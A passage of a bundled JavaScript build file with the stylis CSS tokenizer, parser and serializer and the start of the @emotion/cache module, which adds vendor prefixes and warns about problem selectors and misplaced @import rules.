64941 * @param {(string|RegExp)} pattern
64942 * @param {string} replacement
64943 * @return {string}
64944 */
64945function Utility_replace (value, pattern, replacement) {
64946 return value.replace(pattern, replacement)
64947}
64948
64949/**
64950 * @param {string} value
64951 * @param {string} search
64952 * @return {number}
64953 */
64954function indexof (value, search) {
64955 return value.indexOf(search)
64956}
64957
64958/**
64959 * @param {string} value
64960 * @param {number} index
64961 * @return {number}
64962 */
64963function Utility_charat (value, index) {
64964 return value.charCodeAt(index) | 0
64965}
64966
64967/**
64968 * @param {string} value
64969 * @param {number} begin
64970 * @param {number} end
64971 * @return {string}
64972 */
64973function Utility_substr (value, begin, end) {
64974 return value.slice(begin, end)
64975}
64976
64977/**
64978 * @param {string} value
64979 * @return {number}
64980 */
64981function Utility_strlen (value) {
64982 return value.length
64983}
64984
64985/**
64986 * @param {any[]} value
64987 * @return {number}
64988 */
64989function Utility_sizeof (value) {
64990 return value.length
64991}
64992
64993/**
64994 * @param {any} value
64995 * @param {any[]} array
64996 * @return {any}
64997 */
64998function Utility_append (value, array) {
64999 return array.push(value), value
65000}
65001
65002/**
65003 * @param {string[]} array
65004 * @param {function} callback
65005 * @return {string}
65006 */
65007function Utility_combine (array, callback) {
65008 return array.map(callback).join('')
65009}
65010
65011;// ./node_modules/stylis/src/Tokenizer.js
65012
65013
65014var line = 1
65015var column = 1
65016var Tokenizer_length = 0
65017var position = 0
65018var Tokenizer_character = 0
65019var characters = ''
65020
65021/**
65022 * @param {string} value
65023 * @param {object | null} root
65024 * @param {object | null} parent
65025 * @param {string} type
65026 * @param {string[] | string} props
65027 * @param {object[] | string} children
65028 * @param {number} length
65029 */
65030function node (value, root, parent, type, props, children, length) {
65031 return {value: value, root: root, parent: parent, type: type, props: props, children: children, line: line, column: column, length: length, return: ''}
65032}
65033
65034/**
65035 * @param {object} root
65036 * @param {object} props
65037 * @return {object}
65038 */
65039function Tokenizer_copy (root, props) {
65040 return Utility_assign(node('', null, null, '', null, null, 0), root, {length: -root.length}, props)
65041}
65042
65043/**
65044 * @return {number}
65045 */
65046function Tokenizer_char () {
65047 return Tokenizer_character
65048}
65049
65050/**
65051 * @return {number}
65052 */
65053function prev () {
65054 Tokenizer_character = position > 0 ? Utility_charat(characters, --position) : 0
65055
65056 if (column--, Tokenizer_character === 10)
65057 column = 1, line--
65058
65059 return Tokenizer_character
65060}
65061
65062/**
65063 * @return {number}
65064 */
65065function next () {
65066 Tokenizer_character = position < Tokenizer_length ? Utility_charat(characters, position++) : 0
65067
65068 if (column++, Tokenizer_character === 10)
65069 column = 1, line++
65070
65071 return Tokenizer_character
65072}
65073
65074/**
65075 * @return {number}
65076 */
65077function peek () {
65078 return Utility_charat(characters, position)
65079}
65080
65081/**
65082 * @return {number}
65083 */
65084function caret () {
65085 return position
65086}
65087
65088/**
65089 * @param {number} begin
65090 * @param {number} end
65091 * @return {string}
65092 */
65093function slice (begin, end) {
65094 return Utility_substr(characters, begin, end)
65095}
65096
65097/**
65098 * @param {number} type
65099 * @return {number}
65100 */
65101function token (type) {
65102 switch (type) {
65103 // \0 \t \n \r \s whitespace token
65104 case 0: case 9: case 10: case 13: case 32:
65105 return 5
65106 // ! + , / > @ ~ isolate token
65107 case 33: case 43: case 44: case 47: case 62: case 64: case 126:
65108 // ; { } breakpoint token
65109 case 59: case 123: case 125:
65110 return 4
65111 // : accompanied token
65112 case 58:
65113 return 3
65114 // " ' ( [ opening delimit token
65115 case 34: case 39: case 40: case 91:
65116 return 2
65117 // ) ] closing delimit token
65118 case 41: case 93:
65119 return 1
65120 }
65121
65122 return 0
65123}
65124
65125/**
65126 * @param {string} value
65127 * @return {any[]}
65128 */
65129function alloc (value) {
65130 return line = column = 1, Tokenizer_length = Utility_strlen(characters = value), position = 0, []
65131}
65132
65133/**
65134 * @param {any} value
65135 * @return {any}
65136 */
65137function dealloc (value) {
65138 return characters = '', value
65139}
65140
65141/**
65142 * @param {number} type
65143 * @return {string}
65144 */
65145function delimit (type) {
65146 return trim(slice(position - 1, delimiter(type === 91 ? type + 2 : type === 40 ? type + 1 : type)))
65147}
65148
65149/**
65150 * @param {string} value
65151 * @return {string[]}
65152 */
65153function Tokenizer_tokenize (value) {
65154 return dealloc(tokenizer(alloc(value)))
65155}
65156
65157/**
65158 * @param {number} type
65159 * @return {string}
65160 */
65161function whitespace (type) {
65162 while (Tokenizer_character = peek())
65163 if (Tokenizer_character < 33)
65164 next()
65165 else
65166 break
65167
65168 return token(type) > 2 || token(Tokenizer_character) > 3 ? '' : ' '
65169}
65170
65171/**
65172 * @param {string[]} children
65173 * @return {string[]}
65174 */
65175function tokenizer (children) {
65176 while (next())
65177 switch (token(Tokenizer_character)) {
65178 case 0: append(identifier(position - 1), children)
65179 break
65180 case 2: append(delimit(Tokenizer_character), children)
65181 break
65182 default: append(from(Tokenizer_character), children)
65183 }
65184
65185 return children
65186}
65187
65188/**
65189 * @param {number} index
65190 * @param {number} count
65191 * @return {string}
65192 */
65193function escaping (index, count) {
65194 while (--count && next())
65195 // not 0-9 A-F a-f
65196 if (Tokenizer_character < 48 || Tokenizer_character > 102 || (Tokenizer_character > 57 && Tokenizer_character < 65) || (Tokenizer_character > 70 && Tokenizer_character < 97))
65197 break
65198
65199 return slice(index, caret() + (count < 6 && peek() == 32 && next() == 32))
65200}
65201
65202/**
65203 * @param {number} type
65204 * @return {number}
65205 */
65206function delimiter (type) {
65207 while (next())
65208 switch (Tokenizer_character) {
65209 // ] ) " '
65210 case type:
65211 return position
65212 // " '
65213 case 34: case 39:
65214 if (type !== 34 && type !== 39)
65215 delimiter(Tokenizer_character)
65216 break
65217 // (
65218 case 40:
65219 if (type === 41)
65220 delimiter(type)
65221 break
65222 // \
65223 case 92:
65224 next()
65225 break
65226 }
65227
65228 return position
65229}
65230
65231/**
65232 * @param {number} type
65233 * @param {number} index
65234 * @return {number}
65235 */
65236function commenter (type, index) {
65237 while (next())
65238 // //
65239 if (type + Tokenizer_character === 47 + 10)
65240 break
65241 // /*
65242 else if (type + Tokenizer_character === 42 + 42 && peek() === 47)
65243 break
65244
65245 return '/*' + slice(index, position - 1) + '*' + Utility_from(type === 47 ? type : next())
65246}
65247
65248/**
65249 * @param {number} index
65250 * @return {string}
65251 */
65252function identifier (index) {
65253 while (!token(peek()))
65254 next()
65255
65256 return slice(index, position)
65257}
65258
65259;// ./node_modules/stylis/src/Enum.js
65260var Enum_MS = '-ms-'
65261var Enum_MOZ = '-moz-'
65262var Enum_WEBKIT = '-webkit-'
65263
65264var COMMENT = 'comm'
65265var Enum_RULESET = 'rule'
65266var Enum_DECLARATION = 'decl'
65267
65268var PAGE = '@page'
65269var MEDIA = '@media'
65270var IMPORT = '@import'
65271var CHARSET = '@charset'
65272var VIEWPORT = '@viewport'
65273var SUPPORTS = '@supports'
65274var DOCUMENT = '@document'
65275var NAMESPACE = '@namespace'
65276var Enum_KEYFRAMES = '@keyframes'
65277var FONT_FACE = '@font-face'
65278var COUNTER_STYLE = '@counter-style'
65279var FONT_FEATURE_VALUES = '@font-feature-values'
65280
65281;// ./node_modules/stylis/src/Serializer.js
65282
65283
65284
65285/**
65286 * @param {object[]} children
65287 * @param {function} callback
65288 * @return {string}
65289 */
65290function Serializer_serialize (children, callback) {
65291 var output = ''
65292 var length = Utility_sizeof(children)
65293
65294 for (var i = 0; i < length; i++)
65295 output += callback(children[i], i, children, callback) || ''
65296
65297 return output
65298}
65299
65300/**
65301 * @param {object} element
65302 * @param {number} index
65303 * @param {object[]} children
65304 * @param {function} callback
65305 * @return {string}
65306 */
65307function Serializer_stringify (element, index, children, callback) {
65308 switch (element.type) {
65309 case IMPORT: case Enum_DECLARATION: return element.return = element.return || element.value
65310 case COMMENT: return ''
65311 case Enum_KEYFRAMES: return element.return = element.value + '{' + Serializer_serialize(element.children, callback) + '}'
65312 case Enum_RULESET: element.value = element.props.join(',')
65313 }
65314
65315 return Utility_strlen(children = Serializer_serialize(element.children, callback)) ? element.return = element.value + '{' + children + '}' : ''
65316}
65317
65318;// ./node_modules/stylis/src/Middleware.js
65319
65320
65321
65322
65323
65324
65325/**
65326 * @param {function[]} collection
65327 * @return {function}
65328 */
65329function middleware (collection) {
65330 var length = Utility_sizeof(collection)
65331
65332 return function (element, index, children, callback) {
65333 var output = ''
65334
65335 for (var i = 0; i < length; i++)
65336 output += collection[i](element, index, children, callback) || ''
65337
65338 return output
65339 }
65340}
65341
65342/**
65343 * @param {function} callback
65344 * @return {function}
65345 */
65346function rulesheet (callback) {
65347 return function (element) {
65348 if (!element.root)
65349 if (element = element.return)
65350 callback(element)
65351 }
65352}
65353
65354/**
65355 * @param {object} element
65356 * @param {number} index
65357 * @param {object[]} children
65358 * @param {function} callback
65359 */
65360function prefixer (element, index, children, callback) {
65361 if (element.length > -1)
65362 if (!element.return)
65363 switch (element.type) {
65364 case DECLARATION: element.return = prefix(element.value, element.length, children)
65365 return
65366 case KEYFRAMES:
65367 return serialize([copy(element, {value: replace(element.value, '@', '@' + WEBKIT)})], callback)
65368 case RULESET:
65369 if (element.length)
65370 return combine(element.props, function (value) {
65371 switch (match(value, /(::plac\w+|:read-\w+)/)) {
65372 // :read-(only|write)
65373 case ':read-only': case ':read-write':
65374 return serialize([copy(element, {props: [replace(value, /:(read-\w+)/, ':' + MOZ + '$1')]})], callback)
65375 // :placeholder
65376 case '::placeholder':
65377 return serialize([
65378 copy(element, {props: [replace(value, /:(plac\w+)/, ':' + WEBKIT + 'input-$1')]}),
65379 copy(element, {props: [replace(value, /:(plac\w+)/, ':' + MOZ + '$1')]}),
65380 copy(element, {props: [replace(value, /:(plac\w+)/, MS + 'input-$1')]})
65381 ], callback)
65382 }
65383
65384 return ''
65385 })
65386 }
65387}
65388
65389/**
65390 * @param {object} element
65391 * @param {number} index
65392 * @param {object[]} children
65393 */
65394function namespace (element) {
65395 switch (element.type) {
65396 case RULESET:
65397 element.props = element.props.map(function (value) {
65398 return combine(tokenize(value), function (value, index, children) {
65399 switch (charat(value, 0)) {
65400 // \f
65401 case 12:
65402 return substr(value, 1, strlen(value))
65403 // \0 ( + > ~
65404 case 0: case 40: case 43: case 62: case 126:
65405 return value
65406 // :
65407 case 58:
65408 if (children[++index] === 'global')
65409 children[index] = '', children[++index] = '\f' + substr(children[index], index = 1, -1)
65410 // \s
65411 case 32:
65412 return index === 1 ? '' : value
65413 default:
65414 switch (index) {
65415 case 0: element = value
65416 return sizeof(children) > 1 ? '' : value
65417 case index = sizeof(children) - 1: case 2:
65418 return index === 2 ? value + element + element : value + element
65419 default:
65420 return value
65421 }
65422 }
65423 })
65424 })
65425 }
65426}
65427
65428;// ./node_modules/stylis/src/Parser.js
65429
65430
65431
65432
65433/**
65434 * @param {string} value
65435 * @return {object[]}
65436 */
65437function compile (value) {
65438 return dealloc(Parser_parse('', null, null, null, [''], value = alloc(value), 0, [0], value))
65439}
65440
65441/**
65442 * @param {string} value
65443 * @param {object} root
65444 * @param {object?} parent
65445 * @param {string[]} rule
65446 * @param {string[]} rules
65447 * @param {string[]} rulesets
65448 * @param {number[]} pseudo
65449 * @param {number[]} points
65450 * @param {string[]} declarations
65451 * @return {object}
65452 */
65453function Parser_parse (value, root, parent, rule, rules, rulesets, pseudo, points, declarations) {
65454 var index = 0
65455 var offset = 0
65456 var length = pseudo
65457 var atrule = 0
65458 var property = 0
65459 var previous = 0
65460 var variable = 1
65461 var scanning = 1
65462 var ampersand = 1
65463 var character = 0
65464 var type = ''
65465 var props = rules
65466 var children = rulesets
65467 var reference = rule
65468 var characters = type
65469
65470 while (scanning)
65471 switch (previous = character, character = next()) {
65472 // (
65473 case 40:
65474 if (previous != 108 && Utility_charat(characters, length - 1) == 58) {
65475 if (indexof(characters += Utility_replace(delimit(character), '&', '&\f'), '&\f') != -1)
65476 ampersand = -1
65477 break
65478 }
65479 // " ' [
65480 case 34: case 39: case 91:
65481 characters += delimit(character)
65482 break
65483 // \t \n \r \s
65484 case 9: case 10: case 13: case 32:
65485 characters += whitespace(previous)
65486 break
65487 // \
65488 case 92:
65489 characters += escaping(caret() - 1, 7)
65490 continue
65491 // /
65492 case 47:
65493 switch (peek()) {
65494 case 42: case 47:
65495 Utility_append(comment(commenter(next(), caret()), root, parent), declarations)
65496 break
65497 default:
65498 characters += '/'
65499 }
65500 break
65501 // {
65502 case 123 * variable:
65503 points[index++] = Utility_strlen(characters) * ampersand
65504 // } ; \0
65505 case 125 * variable: case 59: case 0:
65506 switch (character) {
65507 // \0 }
65508 case 0: case 125: scanning = 0
65509 // ;
65510 case 59 + offset:
65511 if (property > 0 && (Utility_strlen(characters) - length))
65512 Utility_append(property > 32 ? declaration(characters + ';', rule, parent, length - 1) : declaration(Utility_replace(characters, ' ', '') + ';', rule, parent, length - 2), declarations)
65513 break
65514 // @ ;
65515 case 59: characters += ';'
65516 // { rule/at-rule
65517 default:
65518 Utility_append(reference = ruleset(characters, root, parent, index, offset, rules, points, type, props = [], children = [], length), rulesets)
65519
65520 if (character === 123)
65521 if (offset === 0)
65522 Parser_parse(characters, root, reference, reference, props, rulesets, length, points, children)
65523 else
65524 switch (atrule === 99 && Utility_charat(characters, 3) === 110 ? 100 : atrule) {
65525 // d m s
65526 case 100: case 109: case 115:
65527 Parser_parse(value, reference, reference, rule && Utility_append(ruleset(value, reference, reference, 0, 0, rules, points, type, rules, props = [], length), children), rules, children, length, points, rule ? props : children)
65528 break
65529 default:
65530 Parser_parse(characters, reference, reference, reference, [''], children, 0, points, children)
65531 }
65532 }
65533
65534 index = offset = property = 0, variable = ampersand = 1, type = characters = '', length = pseudo
65535 break
65536 // :
65537 case 58:
65538 length = 1 + Utility_strlen(characters), property = previous
65539 default:
65540 if (variable < 1)
65541 if (character == 123)
65542 --variable
65543 else if (character == 125 && variable++ == 0 && prev() == 125)
65544 continue
65545
65546 switch (characters += Utility_from(character), character * variable) {
65547 // &
65548 case 38:
65549 ampersand = offset > 0 ? 1 : (characters += '\f', -1)
65550 break
65551 // ,
65552 case 44:
65553 points[index++] = (Utility_strlen(characters) - 1) * ampersand, ampersand = 1
65554 break
65555 // @
65556 case 64:
65557 // -
65558 if (peek() === 45)
65559 characters += delimit(next())
65560
65561 atrule = peek(), offset = length = Utility_strlen(type = characters += identifier(caret())), character++
65562 break
65563 // -
65564 case 45:
65565 if (previous === 45 && Utility_strlen(characters) == 2)
65566 variable = 0
65567 }
65568 }
65569
65570 return rulesets
65571}
65572
65573/**
65574 * @param {string} value
65575 * @param {object} root
65576 * @param {object?} parent
65577 * @param {number} index
65578 * @param {number} offset
65579 * @param {string[]} rules
65580 * @param {number[]} points
65581 * @param {string} type
65582 * @param {string[]} props
65583 * @param {string[]} children
65584 * @param {number} length
65585 * @return {object}
65586 */
65587function ruleset (value, root, parent, index, offset, rules, points, type, props, children, length) {
65588 var post = offset - 1
65589 var rule = offset === 0 ? rules : ['']
65590 var size = Utility_sizeof(rule)
65591
65592 for (var i = 0, j = 0, k = 0; i < index; ++i)
65593 for (var x = 0, y = Utility_substr(value, post + 1, post = abs(j = points[i])), z = value; x < size; ++x)
65594 if (z = trim(j > 0 ? rule[x] + ' ' + y : Utility_replace(y, /&\f/g, rule[x])))
65595 props[k++] = z
65596
65597 return node(value, root, parent, offset === 0 ? Enum_RULESET : type, props, children, length)
65598}
65599
65600/**
65601 * @param {number} value
65602 * @param {object} root
65603 * @param {object?} parent
65604 * @return {object}
65605 */
65606function comment (value, root, parent) {
65607 return node(value, root, parent, COMMENT, Utility_from(Tokenizer_char()), Utility_substr(value, 2, -2), 0)
65608}
65609
65610/**
65611 * @param {string} value
65612 * @param {object} root
65613 * @param {object?} parent
65614 * @param {number} length
65615 * @return {object}
65616 */
65617function declaration (value, root, parent, length) {
65618 return node(value, root, parent, Enum_DECLARATION, Utility_substr(value, 0, length), Utility_substr(value, length + 1, -1), length)
65619}
65620
65621;// ./node_modules/@emotion/cache/dist/emotion-cache.browser.esm.js
65622
65623
65624
65625
65626
65627var identifierWithPointTracking = function identifierWithPointTracking(begin, points, index) {
65628 var previous = 0;
65629 var character = 0;
65630
65631 while (true) {
65632 previous = character;
65633 character = peek(); // &\f
65634
65635 if (previous === 38 && character === 12) {
65636 points[index] = 1;
65637 }
65638
65639 if (token(character)) {
65640 break;
65641 }
65642
65643 next();
65644 }
65645
65646 return slice(begin, position);
65647};
65648
65649var toRules = function toRules(parsed, points) {
65650 // pretend we've started with a comma
65651 var index = -1;
65652 var character = 44;
65653
65654 do {
65655 switch (token(character)) {
65656 case 0:
65657 // &\f
65658 if (character === 38 && peek() === 12) {
65659 // this is not 100% correct, we don't account for literal sequences here - like for example quoted strings
65660 // stylis inserts \f after & to know when & where it should replace this sequence with the context selector
65661 // and when it should just concatenate the outer and inner selectors
65662 // it's very unlikely for this sequence to actually appear in a different context, so we just leverage this fact here
65663 points[index] = 1;
65664 }
65665
65666 parsed[index] += identifierWithPointTracking(position - 1, points, index);
65667 break;
65668
65669 case 2:
65670 parsed[index] += delimit(character);
65671 break;
65672
65673 case 4:
65674 // comma
65675 if (character === 44) {
65676 // colon
65677 parsed[++index] = peek() === 58 ? '&\f' : '';
65678 points[index] = parsed[index].length;
65679 break;
65680 }
65681
65682 // fallthrough
65683
65684 default:
65685 parsed[index] += Utility_from(character);
65686 }
65687 } while (character = next());
65688
65689 return parsed;
65690};
65691
65692var getRules = function getRules(value, points) {
65693 return dealloc(toRules(alloc(value), points));
65694}; // WeakSet would be more appropriate, but only WeakMap is supported in IE11
65695
65696
65697var fixedElements = /* #__PURE__ */new WeakMap();
65698var compat = function compat(element) {
65699 if (element.type !== 'rule' || !element.parent || // positive .length indicates that this rule contains pseudo
65700 // negative .length indicates that this rule has been already prefixed
65701 element.length < 1) {
65702 return;
65703 }
65704
65705 var value = element.value,
65706 parent = element.parent;
65707 var isImplicitRule = element.column === parent.column && element.line === parent.line;
65708
65709 while (parent.type !== 'rule') {
65710 parent = parent.parent;
65711 if (!parent) return;
65712 } // short-circuit for the simplest case
65713
65714
65715 if (element.props.length === 1 && value.charCodeAt(0) !== 58
65716 /* colon */
65717 && !fixedElements.get(parent)) {
65718 return;
65719 } // if this is an implicitly inserted rule (the one eagerly inserted at the each new nested level)
65720 // then the props has already been manipulated beforehand as they that array is shared between it and its "rule parent"
65721
65722
65723 if (isImplicitRule) {
65724 return;
65725 }
65726
65727 fixedElements.set(element, true);
65728 var points = [];
65729 var rules = getRules(value, points);
65730 var parentRules = parent.props;
65731
65732 for (var i = 0, k = 0; i < rules.length; i++) {
65733 for (var j = 0; j < parentRules.length; j++, k++) {
65734 element.props[k] = points[i] ? rules[i].replace(/&\f/g, parentRules[j]) : parentRules[j] + " " + rules[i];
65735 }
65736 }
65737};
65738var removeLabel = function removeLabel(element) {
65739 if (element.type === 'decl') {
65740 var value = element.value;
65741
65742 if ( // charcode for l
65743 value.charCodeAt(0) === 108 && // charcode for b
65744 value.charCodeAt(2) === 98) {
65745 // this ignores label
65746 element["return"] = '';
65747 element.value = '';
65748 }
65749 }
65750};
65751var ignoreFlag = 'emotion-disable-server-rendering-unsafe-selector-warning-please-do-not-use-this-the-warning-exists-for-a-reason';
65752
65753var isIgnoringComment = function isIgnoringComment(element) {
65754 return element.type === 'comm' && element.children.indexOf(ignoreFlag) > -1;
65755};
65756
65757var createUnsafeSelectorsAlarm = function createUnsafeSelectorsAlarm(cache) {
65758 return function (element, index, children) {
65759 if (element.type !== 'rule' || cache.compat) return;
65760 var unsafePseudoClasses = element.value.match(/(:first|:nth|:nth-last)-child/g);
65761
65762 if (unsafePseudoClasses) {
65763 var isNested = element.parent === children[0]; // in nested rules comments become children of the "auto-inserted" rule
65764 //
65765 // considering this input:
65766 // .a {
65767 // .b /* comm */ {}
65768 // color: hotpink;
65769 // }
65770 // we get output corresponding to this:
65771 // .a {
65772 // & {
65773 // /* comm */
65774 // color: hotpink;
65775 // }
65776 // .b {}
65777 // }
65778
65779 var commentContainer = isNested ? children[0].children : // global rule at the root level
65780 children;
65781
65782 for (var i = commentContainer.length - 1; i >= 0; i--) {
65783 var node = commentContainer[i];
65784
65785 if (node.line < element.line) {
65786 break;
65787 } // it is quite weird but comments are *usually* put at `column: element.column - 1`
65788 // so we seek *from the end* for the node that is earlier than the rule's `element` and check that
65789 // this will also match inputs like this:
65790 // .a {
65791 // /* comm */
65792 // .b {}
65793 // }
65794 //
65795 // but that is fine
65796 //
65797 // it would be the easiest to change the placement of the comment to be the first child of the rule:
65798 // .a {
65799 // .b { /* comm */ }
65800 // }
65801 // with such inputs we wouldn't have to search for the comment at all
65802 // TODO: consider changing this comment placement in the next major version
65803
65804
65805 if (node.column < element.column) {
65806 if (isIgnoringComment(node)) {
65807 return;
65808 }
65809
65810 break;
65811 }
65812 }
65813
65814 unsafePseudoClasses.forEach(function (unsafePseudoClass) {
65815 console.error("The pseudo class \"" + unsafePseudoClass + "\" is potentially unsafe when doing server-side rendering. Try changing it to \"" + unsafePseudoClass.split('-child')[0] + "-of-type\".");
65816 });
65817 }
65818 };
65819};
65820
65821var isImportRule = function isImportRule(element) {
65822 return element.type.charCodeAt(1) === 105 && element.type.charCodeAt(0) === 64;
65823};
65824
65825var isPrependedWithRegularRules = function isPrependedWithRegularRules(index, children) {
65826 for (var i = index - 1; i >= 0; i--) {
65827 if (!isImportRule(children[i])) {
65828 return true;
65829 }
65830 }
65831
65832 return false;
65833}; // use this to remove incorrect elements from further processing
65834// so they don't get handed to the `sheet` (or anything else)
65835// as that could potentially lead to additional logs which in turn could be overhelming to the user
65836
65837
65838var nullifyElement = function nullifyElement(element) {
65839 element.type = '';
65840 element.value = '';
65841 element["return"] = '';
65842 element.children = '';
65843 element.props = '';
65844};
65845
65846var incorrectImportAlarm = function incorrectImportAlarm(element, index, children) {
65847 if (!isImportRule(element)) {
65848 return;
65849 }
65850
65851 if (element.parent) {
65852 console.error("`@import` rules can't be nested inside other rules. Please move it to the top level and put it before regular rules. Keep in mind that they can only be used within global styles.");
65853 nullifyElement(element);
65854 } else if (isPrependedWithRegularRules(index, children)) {
65855 console.error("`@import` rules can't be after other rules. Please put your `@import` rules before your other rules.");
65856 nullifyElement(element);
65857 }
65858};
65859
65860/* eslint-disable no-fallthrough */
65861
65862function emotion_cache_browser_esm_prefix(value, length) {
65863 switch (hash(value, length)) {
65864 // color-adjust
65865 case 5103:
65866 return Enum_WEBKIT + 'print-' + value + value;
65867 // animation, animation-(delay|direction|duration|fill-mode|iteration-count|name|play-state|timing-function)
65868
65869 case 5737:
65870 case 4201:
65871 case 3177:
65872 case 3433:
65873 case 1641:
65874 case 4457:
65875 case 2921: // text-decoration, filter, clip-path, backface-visibility, column, box-decoration-break
65876
65877 case 5572:
65878 case 6356:
65879 case 5844:
65880 case 3191:
65881 case 6645:
65882 case 3005: // mask, mask-image, mask-(mode|clip|size), mask-(repeat|origin), mask-position, mask-composite,
65883
65884 case 6391:
65885 case 5879:
65886 case 5623:
65887 case 6135:
65888 case 4599:
65889 case 4855: // background-clip, columns, column-(count|fill|gap|rule|rule-color|rule-style|rule-width|span|width)
65890
65891 case 4215:
65892 case 6389:
65893 case 5109:
65894 case 5365:
65895 case 5621:
65896 case 3829:
65897 return Enum_WEBKIT + value + value;
65898 // appearance, user-select, transform, hyphens, text-size-adjust
65899
65900 case 5349:
65901 case 4246:
65902 case 4810:
65903 case 6968:
65904 case 2756:
65905 return Enum_WEBKIT + value + Enum_MOZ + value + Enum_MS + value + value;
65906 // flex, flex-direction
65907
65908 case 6828:
65909 case 4268:
65910 return Enum_WEBKIT + value + Enum_MS + value + value;
65911 // order
65912
65913 case 6165:
65914 return Enum_WEBKIT + value + Enum_MS + 'flex-' + value + value;
65915 // align-items
65916
65917 case 5187:
65918 return Enum_WEBKIT + value + Utility_replace(value, /(\w+).+(:[^]+)/, Enum_WEBKIT + 'box-$1$2' + Enum_MS + 'flex-$1$2') + value;
65919 // align-self
65920
65921 case 5443:
65922 return Enum_WEBKIT + value + Enum_MS + 'flex-item-' + Utility_replace(value, /flex-|-self/, '') + value;
65923 // align-content
65924
65925 case 4675:
65926 return Enum_WEBKIT + value + Enum_MS + 'flex-line-pack' + Utility_replace(value, /align-content|flex-|-self/, '') + value;
65927 // flex-shrink
65928
65929 case 5548:
65930 return Enum_WEBKIT + value + Enum_MS + Utility_replace(value, 'shrink', 'negative') + value;
65931 // flex-basis
65932
65933 case 5292:
65934 return Enum_WEBKIT + value + Enum_MS + Utility_replace(value, 'basis', 'preferred-size') + value;
65935 // flex-grow
65936
65937 case 6060:
65938 return Enum_WEBKIT + 'box-' + Utility_replace(value, '-grow', '') + Enum_WEBKIT + value + Enum_MS + Utility_replace(value, 'grow', 'positive') + value;
65939 // transition
65940
65941 case 4554:
65942 return Enum_WEBKIT + Utility_replace(value, /([^-])(transform)/g, '$1' + Enum_WEBKIT + '$2') + value;
65943 // cursor
65944
65945 case 6187:
65946 return Utility_replace(Utility_replace(Utility_replace(value, /(zoom-|grab)/, Enum_WEBKIT + '$1'), /(image-set)/, Enum_WEBKIT + '$1'), value, '') + value;
65947 // background, background-image
65948
65949 case 5495:
65950 case 3959:
65951 return Utility_replace(value, /(image-set\([^]*)/, Enum_WEBKIT + '$1' + '$`$1');
65952 // justify-content
65953
65954 case 4968:
65955 return Utility_replace(Utility_replace(value, /(.+:)(flex-)?(.*)/, Enum_WEBKIT + 'box-pack:$3' + Enum_MS + 'flex-pack:$3'), /s.+-b[^;]+/, 'justify') + Enum_WEBKIT + value + value;
65956 // (margin|padding)-inline-(start|end)
65957
65958 case 4095:
65959 case 3583:
65960 case 4068:
65961 case 2532:
65962 return Utility_replace(value, /(.+)-inline(.+)/, Enum_WEBKIT + '$1$2') + value;
65963 // (min|max)?(width|height|inline-size|block-size)
65964
65965 case 8116:
65966 case 7059:
65967 case 5753:
65968 case 5535:
65969 case 5445:
65970 case 5701:
65971 case 4933:
65972 case 4677:
65973 case 5533:
65974 case 5789:
65975 case 5021:
65976 case 4765:
65977 // stretch, max-content, min-content, fill-available
65978 if (Utility_strlen(value) - 1 - length > 6) switch (Utility_charat(value, length + 1)) {
65979 // (m)ax-content, (m)in-content
65980 case 109:
65981 // -
65982 if (Utility_charat(value, length + 4) !== 45) break;
65983 // (f)ill-available, (f)it-content
65984
65985 case 102:
65986 return Utility_replace(value, /(.+:)(.+)-([^]+)/, '$1' + Enum_WEBKIT + '$2-$3' + '$1' + Enum_MOZ + (Utility_charat(value, length + 3) == 108 ? '$3' : '$2-$3')) + value;
65987 // (s)tretch
65988
65989 case 115:
65990 return ~indexof(value, 'stretch') ? emotion_cache_browser_esm_prefix(Utility_replace(value, 'stretch', 'fill-available'), length) + value : value;
65991 }
65992 break;
65993 // position: sticky
65994
65995 case 4949:
65996 // (s)ticky?
65997 if (Utility_charat(value, length + 1) !== 115) break;
65998 // display: (flex|inline-flex)
65999
66000 case 6444:
66001 switch (Utility_charat(value, Utility_strlen(value) - 3 - (~indexof(value, '!important') && 10))) {
66002 // stic(k)y
66003 case 107:
66004 return Utility_replace(value, ':', ':' + Enum_WEBKIT) + value;
66005 // (inline-)?fl(e)x
66006
66007 case 101:
66008 return Utility_replace(value, /(.+:)([^;!]+)(;|!.+)?/, '$1' + Enum_WEBKIT + (Utility_charat(value, 14) === 45 ? 'inline-' : '') + 'box$3' + '$1' + Enum_WEBKIT + '$2$3' + '$1' + Enum_MS + '$2box$3') + value;
66009 }
66010
66011 break;
66012 // writing-mode
66013
66014 case 5936:
66015 switch (Utility_charat(value, length + 11)) {
66016 // vertical-l(r)
66017 case 114:
66018 return Enum_WEBKIT + value + Enum_MS + Utility_replace(value, /[svh]\w+-[tblr]{2}/, 'tb') + value;
66019 // vertical-r(l)
66020
66021 case 108:
66022 return Enum_WEBKIT + value + Enum_MS + Utility_replace(value, /[svh]\w+-[tblr]{2}/, 'tb-rl') + value;
66023 // horizontal(-)tb
66024
66025 case 45:
66026 return Enum_WEBKIT + value + Enum_MS + Utility_replace(value, /[svh]\w+-[tblr]{2}/, 'lr') + value;
66027 }
66028
66029 return Enum_WEBKIT + value + Enum_MS + value + value;
66030 }
66031
66032 return value;
66033}
66034
66035var emotion_cache_browser_esm_prefixer = function prefixer(element, index, children, callback) {
66036 if (element.length > -1) if (!element["return"]) switch (element.type) {
66037 case Enum_DECLARATION:
66038 element["return"] = emotion_cache_browser_esm_prefix(element.value, element.length);
66039 break;
66040
66041 case Enum_KEYFRAMES:
66042 return Serializer_serialize([Tokenizer_copy(element, {
66043 value: Utility_replace(element.value, '@', '@' + Enum_WEBKIT)
66044 })], callback);
66045
66046 case Enum_RULESET:
66047 if (element.length) return Utility_combine(element.props, function (value) {
66048 switch (Utility_match(value, /(::plac\w+|:read-\w+)/)) {
66049 // :read-(only|write)
66050 case ':read-only':
66051 case ':read-write':
66052 return Serializer_serialize([Tokenizer_copy(element, {
66053 props: [Utility_replace(value, /:(read-\w+)/, ':' + Enum_MOZ + '$1')]
66054 })], callback);
66055 // :placeholder
66056
66057 case '::placeholder':
66058 return Serializer_serialize([Tokenizer_copy(element, {
66059 props: [Utility_replace(value, /:(plac\w+)/, ':' + Enum_WEBKIT + 'input-$1')]
66060 }), Tokenizer_copy(element, {
66061 props: [Utility_replace(value, /:(plac\w+)/, ':' + Enum_MOZ + '$1')]
66062 }), Tokenizer_copy(element, {
66063 props: [Utility_replace(value, /:(plac\w+)/, Enum_MS + 'input-$1')]
66064 })], callback);
66065 }
66066
66067 return '';
66068 });
66069 }
66070};
66071
66072var defaultStylisPlugins = [emotion_cache_browser_esm_prefixer];
66073
66074var createCache = function createCache(options) {
66075 var key = options.key;
66076
66077 if (false) {}
66078
66079 if ( key === 'css') {
